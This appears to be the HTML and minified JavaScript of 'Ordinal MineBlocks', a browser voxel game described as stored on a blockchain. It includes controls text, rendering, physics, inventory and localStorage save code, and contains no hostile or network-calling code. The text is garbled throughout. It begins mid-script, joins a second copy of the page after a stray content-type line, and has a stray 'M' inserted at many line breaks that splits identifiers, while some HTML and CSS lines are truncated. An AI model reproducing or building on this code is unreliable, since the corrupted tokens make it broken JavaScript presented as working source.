e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
